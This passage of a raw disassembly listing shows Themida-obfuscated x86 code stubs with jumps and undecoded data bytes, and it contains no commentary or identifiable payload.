aANUainsz	db '€Ã(ã€ëé‡#',0
		align 2


loc_551A06:				; CODE XREF: Themida_:0056379Ej
		add	al, 0Ah
		push	313Ah
		jmp	loc_55175C
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 55000000h,	3A3BB3BDh, 0AE5816Ah, 811D3578h
		dd 6018FCF5h, 0F7DD877Ch, 0C1DD87D3h, 7CE902E5h, 210000AAh
		dd 0F58158C5h, 2800984h, 2130C681h, 0EE015B63h,	6BFFE9h
		dd 2434FF00h, 2637E958h
		db 1, 0
; ---------------------------------------------------------------------------


loc_551A5A:				; CODE XREF: Themida_:00551A7Aj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_558B5B
; ---------------------------------------------------------------------------
		db 35h
		dd 1FF5F004h, 81E9C589h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_551A5A
; ---------------------------------------------------------------------------
		db 81h
		dd 0AD2384EDh, 0E9EB0137h, 5669h, 295EF031h, 0D02158C2h
		dd 1C77FF5Ah, 0FF2434FFh, 50592434h, 5404EC83h,	5224048Fh
		dd 52C9E9h, 53DAF600h, 83A3E9h,	32C78100h, 816C3523h, 0A56795C7h
		dd 24048B39h, 3304C483h, 3C31243Ch, 243C3324h, 0E924248Bh
		dd 0C796h, 2003F280h, 0E4C05AD4h, 0E9ECD002h, 1735h, 805FC380h
		dd 515851C3h, 0C1807EB1h, 59CB003Fh, 0EB80C328h, 97E950BDh
		dd 8B00014Dh, 3368240Ch, 8900003Bh, 89562434h, 4C681E6h
		dd 57000000h, 6E319FBFh, 1C44E97Ah, 0EA810001h,	0FF300F9Eh
		dd 815AD701h, 4C7h, 0EE95700h, 540000CBh, 601E9h
		db 0
; ---------------------------------------------------------------------------


loc_551B3D:				; CODE XREF: Themida_:005637FFj
		add	ebx, 2
		jmp	loc_553FDA
; ---------------------------------------------------------------------------
aPSooXIsR	db 'P¸sOŽ»)ÅX)ëéË',0
		dd 24248B00h, 0E99CC83Bh, 0FFFFFB8Eh, 0E9240487h, 145C7h
; ---------------------------------------------------------------------------


loc_551B68:				; CODE XREF: Themida_:0055E85Aj
		pop	ebx
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_560E85
		push	1B4Fh
		mov	[esp], ebx
		push	esi
		push	ebp
		mov	ebp, 1Ch
		mov	esi, ebp
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55DCC9
; ---------------------------------------------------------------------------


loc_551BA5:				; CODE XREF: Themida_:00557349j
		mov	[esp], ebx
		jmp	loc_55F2C4
; ---------------------------------------------------------------------------


loc_551BAD:				; CODE XREF: Themida_:0055F4EFj
		push	126Ah
		mov	[esp], edi
		mov	edi, 1FD943FFh
		push	ebx
		push	ecx
		mov	ecx, 20FF5E1Ah
		inc	ecx
		not	ecx
		inc	ecx
		jmp	loc_553E4F
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 83000000h,	0FF5304EBh, 0E9042474h,	8411h
		dd 0E9242C8Bh, 14456h, 2474FF50h, 48F5804h, 4895C24h, 4941E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_551BFA:				; CODE XREF: Themida_:005587C5j
		sub	edi, 459C253Dh
		pop	esi
		sub	ecx, edi
		pop	edi
		sub	ecx, 0B17D5352h
		jmp	loc_563702
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFADAh, 0C681E689h, 4, 0E904C683h, 72ACh, 0B850EF01h
		dd 2EFA3B6Ah, 0C635D8F7h, 1E7C28Ch, 4BE958C7h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551C3B:				; CODE XREF: Themida_:005634A8j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_559DD9
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 1Ch
		dd 1C8B5424h, 4C48324h,	4C381h,	0BA520000h, 6B95012Ch
		dd 7099E9h, 4C18300h, 5C240C87h, 5C24048Fh, 68C8BF0Fh
		dd 158Fh, 0E9240C89h, 0FFFFFA72h, 2971BBBEh, 0BFF6816Ch
		dd 686C2971h, 3998h, 11FF8E9h, 243C8700h, 24248Bh, 241C8BF8h
		dd 4C481h, 0D8280000h, 0EC819A2Ch, 2, 127B2E9h
		db 0
; ---------------------------------------------------------------------------


loc_551CB1:				; CODE XREF: Themida_:00559325j
		mov	ecx, 1CD87692h
		neg	ecx
		or	ecx, 3A785907h
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_555764
; ---------------------------------------------------------------------------
aFqLaadaI	db 'ÐäQµl€í„€ì›',0
		db 0ECh
		dd 0E99BC480h, 0F52Ch
; ---------------------------------------------------------------------------


loc_551CE4:				; CODE XREF: Themida_:00553280j
		push	ebp
		mov	ebp, 268B2CBBh
		jmp	loc_55881B
; ---------------------------------------------------------------------------


loc_551CEF:				; CODE XREF: Themida_:00564F3Cj
		mov	ebx, 601559C4h
		jmp	loc_55B0EB
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0A0h
		dd 0C10AD917h, 494102E9h, 14A32E9h
		db 0
; ---------------------------------------------------------------------------


loc_551D09:				; CODE XREF: Themida_:005601F8j
		or	ebp, edi
		pop	edi
		push	eax
		push	ecx
		jmp	loc_55F527
; ---------------------------------------------------------------------------


loc_551D13:				; CODE XREF: Themida_:005633F3j
		and	dh, 3
		shr	dh, 1
		xor	dh, 0B9h
		sub	bl, dh
		pop	edx
		sub	bl, 5Bh
		sub	bl, 0DBh
		push	4220h
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 39E3356Ah
		not	edx
		xor	edx, 1D073704h
		sub	edx, 2E2228A4h
		xor	edx, 66AB36C4h
		sub	edx, 179C6F37h
		xor	edx, 0B2B672F6h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_564D8A
; ---------------------------------------------------------------------------
		db 81h
		dd 1DEE22C1h, 59CD89B5h, 0CD81D5F7h, 69E5146Fh,	7A81CD81h
		dd 0ECE94C44h, 5D00006Ch, 542D4040h, 0E909FE30h, 0AEA3h
		dd 2B0CE781h, 0DFF721FBh, 8108EFC1h, 16C176EFh,	0E9FA01F5h
		dd 0BA1Bh
; ---------------------------------------------------------------------------


loc_551DBC:				; CODE XREF: Themida_:00560E1Cj
		inc	dword ptr [esp]
		pop	edi
		jmp	loc_558292
; ---------------------------------------------------------------------------


loc_551DC5:				; CODE XREF: Themida_:00563CD2j
		push	eax
		push	edx
		mov	edx, 197E2D93h
		mov	eax, 197E2D97h
		xor	eax, edx
		pop	edx
		add	ebp, 2FF25C1Fh
		add	ebp, eax
		push	ecx
		jmp	loc_55FFAE
; ---------------------------------------------------------------------------
		dw 8852h
		dd 593E9EEh, 0EE890000h, 242C8156h, 470668h, 68C3815Bh
		dd 8B004706h, 2DE92434h, 8B00004Bh, 0C4832414h,	6EEC104h
		dd 0F94B951h, 0C9814355h, 23C533ECh, 0E1C1D9F7h, 80C18103h
		dd 18F914Eh, 0EE8159CEh, 72DB5AA0h, 685EF101h, 718Eh, 52243C89h
		dd 86636BBAh, 5AD78951h, 1132BE9h
		db 0
; ---------------------------------------------------------------------------


loc_551E45:				; CODE XREF: Themida_:00565A8Fj
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bl, al
		jmp	loc_553FD3
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 596804C4h, 0E900004Eh, 0DB96h, 81D6015Dh
		dd 1367E7EEh, 0CBC6816Fh, 0E948A564h, 0D59Bh, 0FFF841E9h
		dd 241C89FFh, 242D68h, 24148900h, 396E951h, 48F0000h, 3C8B5C24h
		dd 4C48324h, 2ADCE9h, 5B685800h, 8900000Ah, 74FF2414h
		dd 0E95A0424h, 0A0B2h, 0E958C501h, 140B4h, 27BF5742h, 8108736Eh
		dd 206149EFh, 45B9E93Fh
		db 1, 0
; ---------------------------------------------------------------------------


loc_551EFA:				; CODE XREF: Themida_:0055D287j
		mov	edi, 2C5212E2h
		xor	edi, 20A9311Eh
		jmp	loc_555542
; ---------------------------------------------------------------------------
		dw 875Dh
		dd 0FF5C241Ch, 48B2434h, 4C48324h, 2463E957h, 0E95C0000h
		dd 0E463h, 8704C783h, 248B243Ch, 0F7BCE924h, 892DFFFFh
		dd 0E9FCB5FEh, 2CA7h, 0F9CCE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551F42:				; CODE XREF: Themida_:0055318Bj
		mov	[esp], ebx
		push	3756BA1Bh
		pop	ebx
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_558211
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 167DB924h, 0B7E91CB6h, 6800007Eh, 3984h, 51243C89h
		dd 0C1BB53h, 0CDB9354Eh, 31495E0Ch, 0F1815BD9h,	1AC51E6Ah
		dd 2C4E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551F86:				; CODE XREF: Themida_:005669C0j
		push	dword ptr [esp]
		jmp	loc_55B84E
; ---------------------------------------------------------------------------
aZmwsn		db 'ZMWéNÃ',0
		align 2
		dw 0EE81h
		dd 71A51C66h, 739ABB53h, 0DBF74634h, 4884E9h, 0E9D6F600h
		dd 0F479h
; ---------------------------------------------------------------------------


loc_551FB0:				; CODE XREF: Themida_:0055CAEDj
		push	eax
		mov	al, 0B2h
		push	bx
		mov	bh, 72h
		or	al, bh
		pop	bx
		sub	al, 1
		shr	al, 3
		jmp	loc_55E37F
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0EEh
		dd 104E558h, 0FA2959CAh, 8904EC83h, 0EEBF243Ch,	2904E558h
		dd 0EA815FFAh, 22B46889h, 5EBD5550h, 0E91D9517h, 5130h
; ---------------------------------------------------------------------------


loc_551FF0:				; CODE XREF: Themida_:0056612Aj
		push	edi
		mov	edi, esp
		jmp	loc_5668F2
; ---------------------------------------------------------------------------


loc_551FF8:				; CODE XREF: Themida_:0056598Aj
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 8071524h
		shr	ebx, 4
		inc	ebx
		jmp	loc_559C32
; ---------------------------------------------------------------------------


loc_552014:				; CODE XREF: Themida_:0055B809j
		pop	edx
		mov	esi, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_56559E
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 774A5210h, 46B85051h, 0E9403375h, 1140Ah, 0C681E689h
		dd 4, 81E38953h, 4C3h, 9AC2E900h, 32680000h, 89000022h
		dd 0E2892414h, 4C281h, 74E90000h, 81000086h, 7A222BE9h
		dd 15C18123h, 0E9326024h, 0A67Ah, 4240481h, 0FF000000h
		dd 2C8B2434h, 4C48324h,	0E9E78957h, 1400Fh, 2800EB80h
		dd 7583E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552092:				; CODE XREF: Themida_:0055641Bj
		sub	eax, edi
		jmp	loc_556CE7
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 78h
		dd 0C1610942h, 0EE8108EEh, 16A4640Fh, 0BDBAE9h,	64B15100h
		dd 0C8BCC00h, 4C48324h,	8085B652h, 0F400ECF6h, 88C4E9h
		dd 29ED8100h, 8163227Eh, 0CF64E0F5h, 0F863E956h, 1C8B0000h
		dd 1442E924h, 70350000h, 0E95D69D6h, 7F27h
; ---------------------------------------------------------------------------


loc_5520E8:				; CODE XREF: Themida_:00559005j
		shl	edx, 1
		push	1010h
		mov	[esp], ecx
		push	edx
		jmp	loc_55BDF3
; ---------------------------------------------------------------------------


loc_5520F8:				; CODE XREF: Themida_:005548E7j
		pop	ebx
		xor	dh, 35h
		sub	bl, 4Ah
		sub	bl, dh
		add	bl, 4Ah
		pop	edx
		jmp	loc_5653A5
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 66022474h, 68240C8Bh, 51B6h,	89240C89h, 4C181E1h, 0E9000000h
		dd 7D73h, 5C240487h, 0B951D387h, 7FA92680h, 0C8BCB29h
		dd 3913E924h, 815A0001h, 4C2h, 0EBE5600h, 816D2D03h, 4963B2EEh
		dd 36F0E935h, 0FF520001h, 0FE9240Ch, 53000073h,	0DAEBE957h
		dd 68680000h, 89000027h, 0E789243Ch, 3EC268h, 24348900h
		dd 4BEh, 2D61E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552182:				; CODE XREF: Themida_:00566AD1j
		not	eax
		push	ebp
		jmp	loc_55FD7C
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 3246EE81h, 555800F8h, 1295B850h, 0F7405A59h,	86BC2DD0h
		dd 0C5894A9Ch, 0B8505658h, 502F2D0Eh, 12E9D8F7h, 88000096h
		dd 5353E9E6h, 515A0000h, 7FD3E9h, 4C68300h, 8B243487h
		dd 0E9C12424h, 0F0F18107h, 0E97F6D30h, 50E3h, 8904EC83h
		dd 0E2892414h, 4C281h, 0EA830000h, 24148704h, 2434895Ch
		dd 144DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5521F5:				; CODE XREF: Themida_:00554AA4j
		sub	dword ptr [esp+4], 24FE46B3h
		jmp	loc_56064B
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 81000000h, 0DB3D12C1h, 6E5DE91Bh, 0D7E90000h, 66FFFFF4h
		dd 5624048Bh, 89515E54h, 4BF57E1h, 1000000h, 0E6CEE9F9h
		dd 34FF0000h, 2434FF24h, 1312AE9h, 2474FF00h, 48F5804h
		dd 0EC835C24h, 0F4AAE904h, 7868FFFFh, 0E92D4546h, 112F5h
		dd 5859E952h, 0BA520000h, 4, 4244481h, 39C1D97h, 4245401h
		dd 0FCE8E9h
		db 0
; ---------------------------------------------------------------------------


loc_552271:				; CODE XREF: Themida_:0055349Ej
		pop	edi
		jmp	loc_55C37D
; ---------------------------------------------------------------------------
		db 1
aSti		db 'Ýétë',0
		align 2
aAai		db 'ےi',0
		dw 8BEBh
		dd 76E9240Ch, 5C000011h, 31BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_552291:				; CODE XREF: Themida_:005532AFj
		push	0
		push	eax
		mov	eax, 4B1D0AFEh
		sub	[esp+4], eax
		pop	eax
		jmp	loc_5639AF
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 1471E9D8h, 15AD501h,	0F856E9EEh, 348B0000h, 4C48124h
		dd 4D000000h, 4524F581h, 0EE012951h, 5EF2015Dh,	2C281h
		dd 14330000h, 24143124h, 5C241433h, 9C240400h, 0FFF409E9h
		dd 241433FFh, 33241431h, 0F75C2414h, 8DF68F9h, 2C890000h
		dd 3DE95424h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5522FF:				; CODE XREF: Themida_:0055855Fj
		mov	ebx, 14A52333h
		sub	ecx, ebx
		jmp	loc_5580FD
; ---------------------------------------------------------------------------


loc_55230B:				; CODE XREF: Themida_:0055AE4Cj
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	2F55h
		mov	[esp], ecx
		push	163E79B5h
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_55D2D9
; ---------------------------------------------------------------------------
		dd 762FA0BFh, 0C5BE5622h, 3129EB4Fh, 0C4E95EF7h, 50000A6h
		dd 266E6095h, 0B2E9F801h, 640000A0h, 8BE9028Fh,	66FFFFF3h
		dd 65BE6656h, 0F1296644h, 51665E66h, 2414F766h,	240C8B66h
		dd 0F451E9h, 5AF38800h,	57240C8Bh, 0C7815F54h, 4, 0CA68E9h
		db 0
; ---------------------------------------------------------------------------


loc_552391:				; CODE XREF: Themida_:0055798Cj
		shr	ecx, 2
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5567AD
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 10A8AE9h, 0E957B600h,	12ED6h,	50241C89h
		dd 1419FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5523CD:				; CODE XREF: Themida_:00565E8Ej
		inc	ecx
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		shr	ecx, 1
		push	edi
		jmp	loc_55A74B
; ---------------------------------------------------------------------------
		dd 83242489h, 0FF042404h, 53582434h, 0C381E389h, 4, 3304C383h
		dd 1C31241Ch, 241C3324h, 6824248Bh, 7C82h, 0B9240C89h
		dd 5B3D12AEh, 81FFE983h, 6F451EC1h, 31D7E922h, 46590000h
		dd 6E82E9h, 0DBBA6600h,	0D72966D7h, 66535A66h, 6656FB89h
		dd 8966DE89h, 34FF5EF5h, 38E95B24h, 8BFFFFF6h, 0FBE9243Ch
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552447:				; CODE XREF: Themida_:005549D6j
		push	eax
		jmp	loc_55B0E1
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 87h
		dd 87D6F7F7h, 0A9F0E9F7h, 0DE010000h, 7BF0BD55h, 0EE2949CCh
		dd 0FF6AE9h, 3A9A2D00h,	0E5E9026Eh, 5B000035h, 5904C483h
		dd 380BB850h, 29E9700Eh, 50000126h, 10368E9h
		db 0
; ---------------------------------------------------------------------------


loc_552489:				; CODE XREF: Themida_:005518C3j
		sub	eax, 443B399Ah
		jmp	loc_55E912
; ---------------------------------------------------------------------------
		db 4
aSsza		db '¸SézA',0
		dw 4700h
		dd 0F831C731h, 0D0F7C731h, 9E1EE997h, 815E0000h, 5F1B6EC7h
		dd 0E9D7013Eh, 12D00h
; ---------------------------------------------------------------------------


loc_5524B8:				; CODE XREF: Themida_:0055847Bj
		mov	esi, 53433C7Ah
		add	esi, 52781E85h
		inc	esi
		push	eax
		push	edi
		mov	edi, 674901CCh
		push	esi
		mov	esi, edi
		mov	eax, esi
		pop	esi
		pop	edi
		sub	esi, eax
		pop	eax
		push	edx
		mov	edx, 479D20F7h
		sub	edx, 2C7D0514h
		sub	edx, 76815204h
		shr	edx, 8
		or	edx, 17456695h
		neg	edx
		add	edx, 9516126Fh
		add	esi, edx
		pop	edx
		jmp	loc_55B62D
; ---------------------------------------------------------------------------
		dd 68241489h, 5518h, 0BD242C89h, 0D87137Bh, 2414F755h
		dd 5D2434FFh, 4EC81h, 34890000h, 3A18E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_552526:				; CODE XREF: Themida_:00558C1Dj
		add	ecx, esi
		pop	esi
		add	ecx, 4
		jmp	loc_56373C
; ---------------------------------------------------------------------------
		dd 0F52801B6h, 8BCD805Ah, 28E9B252h, 0E5C05AD5h, 0B1F58004h
		dd 30B0C580h, 0C8B66E8h, 4C376824h, 4890000h, 48B5424h
		dd 4C48124h, 56000000h,	9E031DBEh, 0A5E9534Bh
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55256F:				; CODE XREF: Themida_:00557385j
		add	edx, edi
		mov	eax, [edx]
		jmp	loc_564BA3
; ---------------------------------------------------------------------------
		dd 0D1C3805Ah, 0F54EE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552582:				; CODE XREF: Themida_:00552BA0j
		pop	eax
		sub	eax, 4B2445D0h
		mov	ebx, eax
		pop	eax
		sub	ebp, ebx
		jmp	loc_55CFF8
; ---------------------------------------------------------------------------
aBFbqHIsa	db 'ÇÁ/<FïÛH',9,'iéAê',0
		dw 5B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	4AC3h
		mov	[esp], ebx
		mov	ebx, 55A93ABEh
		sub	ebx, 285D7FCAh
		push	esi
		mov	esi, 634459CDh
		sub	ebx, esi
		pop	esi
		neg	ebx
		xor	ebx, 662D51D1h
		jmp	loc_561BF1
; ---------------------------------------------------------------------------
		dd 0C7815F54h, 4, 6EF668h, 24348900h, 0D9184DBEh, 50DEF71Fh
		dd 725DE9h, 24E95D00h, 560000AFh, 0A706B068h, 0E9565E39h
		dd 6589h
; ---------------------------------------------------------------------------


loc_552600:				; CODE XREF: Themida_:005645F3j
		not	ecx
		inc	ecx
		inc	ecx
		sub	ecx, 45704CF2h
		inc	ecx
		sub	ecx, 63E721Ch
		or	ebx, ecx
		jmp	loc_556BD8
; ---------------------------------------------------------------------------
		dd 4C381h, 0EB830000h, 3A88E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552626:				; CODE XREF: Themida_:00561073j
		inc	ebx
		not	ebx
		shl	ebx, 4
		add	ebx, 1
		shr	ebx, 2
		sub	ebx, 85F16FFBh
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	edi
		push	eax
		push	ebx
		jmp	loc_5617A7
; ---------------------------------------------------------------------------


loc_552648:				; CODE XREF: Themida_:00558007j
		xchg	eax, [esp]
		pop	esp
		or	[edi+1Ch], eax
		jmp	loc_55492F
; ---------------------------------------------------------------------------
		dd 15EF389h, 5B04245Ch,	4EC815Eh, 89000000h, 4BA2414h
		dd 68000000h, 25A6h, 0BA241489h, 36A60995h, 13E9D601h
		dd 8B0000B1h, 0C7E92414h, 68000086h, 4458h, 0BE243489h
		dd 25105DB3h, 754EEE81h, 0BB533F53h, 0
		dd 8153F329h, 6D9D242Ch, 815E0784h, 846D9DC6h, 0C2EEE907h
		dd 0C6810000h, 4, 4EE81h, 34870000h, 3039E924h,	505F0000h
		dd 12733E9h, 42B35300h,	8007E380h, 0DE00C0C3h, 0E953515Bh
		dd 0B2E7h, 34FFD821h, 0C4835B24h, 0D1C20904h, 3EF368E2h
		dd 0C890000h, 2A74E924h, 0D6310000h, 8124148Bh,	4C4h, 0FFF08900h
		dd 34FF2434h, 0CD01E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552716:				; CODE XREF: Themida_:00561882j
		push	ebp
		jmp	loc_559B6C
; ---------------------------------------------------------------------------


loc_55271C:				; CODE XREF: Themida_:00565E51j
		pop	ebx
		sub	ah, 0D0h
		add	cl, ah
		jmp	loc_55F666
; ---------------------------------------------------------------------------
		db 0D1h
		dd 6FCB81E3h, 815E8B3Dh, 55589CC3h, 0B4EB8114h,	3137FC2Bh
		dd 0BB535BDFh, 5CC446FCh, 0D11E9h
		db 0
; ---------------------------------------------------------------------------


loc_552749:				; CODE XREF: Themida_:0055277Aj
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5556AC
; ---------------------------------------------------------------------------


loc_552774:				; CODE XREF: Themida_:0056422Cj
		sub	ecx, 4
		jmp	loc_552749
; ---------------------------------------------------------------------------
		db 0BFh
		dd 37BB255Fh, 0E95FF821h, 8590h, 46E9642Ch, 66000039h
		dd 52240C8Bh, 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 25E92424h
		dd 6800004Dh, 3EB5h, 0B9240C89h, 57491524h, 0CBA5E981h
		dd 0CB01FD61h, 0D9EB8159h, 814D8F14h, 962E14CBh, 0EDB95173h
		dd 1884951h, 240C8BCBh,	1204CE9h, 2474FF00h, 2434FF04h
		dd 4C4835Fh, 0E924048Fh, 89BBh,	40E95457h, 0BE000143h
		dd 7214729Ah, 0A6E9514Eh, 5A0000B0h, 7DAF685Ah,	1C890000h
		dd 0E9E38924h, 0FFFFFE00h, 0E681D6F7h, 672E03BBh, 0C681D6F7h
		dd 6B11050Dh, 55EF029h,	1E665017h, 2404335Bh, 33240431h
		dd 248B2404h, 0B8505324h, 17FF0236h, 158C389h, 8B04245Ch
		dd 8956241Ch, 1347E9E6h, 0EC810000h, 4,	7520E9h, 0E9582C00h
		dd 57FAh
; ---------------------------------------------------------------------------


loc_552868:				; CODE XREF: Themida_:0055815Aj
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_559CAB
; ---------------------------------------------------------------------------


loc_552883:				; CODE XREF: Themida_:0055BB99j
		pop	edi
		add	ecx, ebp
		pop	ebp
		push	48A6h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	371h
		mov	[esp], edx
		push	0C60h
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_553957
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 29000000h, 2C8759CDh, 0C895C24h, 87CDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5528D2:				; CODE XREF: Themida_:0055C72Bj
		mov	eax, 18FB38EBh
		jmp	loc_55962E
; ---------------------------------------------------------------------------
		dd 0A925ED81h, 0EB0101F9h, 24048B5Dh, 381BE9h, 243C8B00h
		dd 8104C483h, 385145EFh, 81D7015Fh, 385145C7h, 24148B5Fh
		dd 10BABE9h
		db 0
; ---------------------------------------------------------------------------


loc_552909:				; CODE XREF: Themida_:0055A2CFj
		pop	ebx
		add	eax, ecx
		jmp	loc_56601E
; ---------------------------------------------------------------------------


loc_552911:				; CODE XREF: Themida_:00552E5Cj
		mov	[esp], ecx
		jmp	loc_561E33
; ---------------------------------------------------------------------------
		db 52h,	55h, 68h
		dd 0FFFFFBFFh, 3481555Dh, 9B168124h, 0BB535A5Fh, 5F9B1681h
		dd 8B5BDA31h, 5451242Ch, 8B2434FFh, 0C481240Ch,	4, 5004C483h
		dd 113D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55294D:				; CODE XREF: Themida_:0055CAA8j
		shl	ebp, 7
		jmp	loc_559CC1
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 8
		dd 1226BE9h, 0BB535B00h, 35EA6202h, 0D2F7D387h,	44E9D387h
		dd 31000033h, 3C33243Ch, 24248B24h, 4EC8155h, 89000000h
		dd 4832424h, 2C8B0424h,	4C48324h, 11359E9h, 815D5400h
		dd 4C5h, 0D2E95100h, 0BD000095h, 744B2832h, 8105EDC1h
		dd 9C53A6CDh, 87554524h, 0D3F7241Ch, 0B1FCE9h, 5BD88900h
		dd 81240C8Bh, 4C4h, 6E0C100h, 0AE3A040Dh, 6DF30D38h, 0BA52483Dh
		dd 40CA7B55h, 6D42B62Dh, 5D0297Bh, 7B6D42B6h, 49E2D5Ah
		dd 0EA81B835h, 300014DAh, 0C281C201h, 300014DAh, 5F136858h
		dd 2C890000h, 0A6ABE924h, 0CE310000h, 1C68159h,	87000000h
		dd 0DE3143DEh, 0DE31F331h, 2495E951h
		db 1, 0
; ---------------------------------------------------------------------------


loc_552A1E:				; CODE XREF: Themida_:0055EA17j
		pop	ebp
		not	ecx
		xor	ecx, 69C52318h
		jmp	loc_5573EC
; ---------------------------------------------------------------------------
		dd 815BDF29h, 791BF0EFh, 5FF80997h, 0E904E0C1h,	9CF8h
; ---------------------------------------------------------------------------


loc_552A40:				; CODE XREF: Themida_:0055EDA5j
		add	edi, 740F7671h
		sub	edi, 69F557AAh
		pop	eax
		jmp	loc_565D1A
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 331E10C4h, 0DDF7DDF7h, 2A3FED81h, 0E9456994h, 0ECA3h
; ---------------------------------------------------------------------------


loc_552A68:				; CODE XREF: Themida_:00554051j
		shr	eax, 1
		dec	eax
		not	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1C680C61h
		shl	ecx, 7
		not	ecx
		jmp	loc_5629A5
; ---------------------------------------------------------------------------
aXpirs2		db 'XP‰àé2½',0
		align 2


loc_552A8E:				; CODE XREF: Themida_:00558A5Bj
		xor	edx, 0A3689AE5h
		sub	ecx, edx
		pop	edx
		sub	ecx, edx
		add	ecx, 6CD76E9Ah
		add	ecx, 4CF91C2Fh
		pop	edx
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_564F23
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_557FBD
; ---------------------------------------------------------------------------
		db 89h
		dd 0E5BA2414h, 314EF112h, 509DE9D1h, 0E95B0000h, 8DF3h
		dd 4B9h, 59C80100h, 8B240487h, 48F2424h, 8B665C24h, 0EC832404h
		dd 24148904h
		db 89h,	0E2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_562A12
; ---------------------------------------------------------------------------


loc_552B06:				; CODE XREF: Themida_:0055F8F3j
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_557705
; ---------------------------------------------------------------------------
		db 81h
		dd 2EFh, 243C8700h, 0C89665Ch, 0B3536624h, 1E6E973h
		db 1, 0
; ---------------------------------------------------------------------------


loc_552B32:				; CODE XREF: Themida_:0055D0ACj
		dec	ebp
		push	ecx
		mov	ecx, 5E136C3Ah
		and	ecx, 57C97CEEh
		not	ecx
		inc	ecx
		add	ecx, 43A6120Dh
		jmp	loc_562A44
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
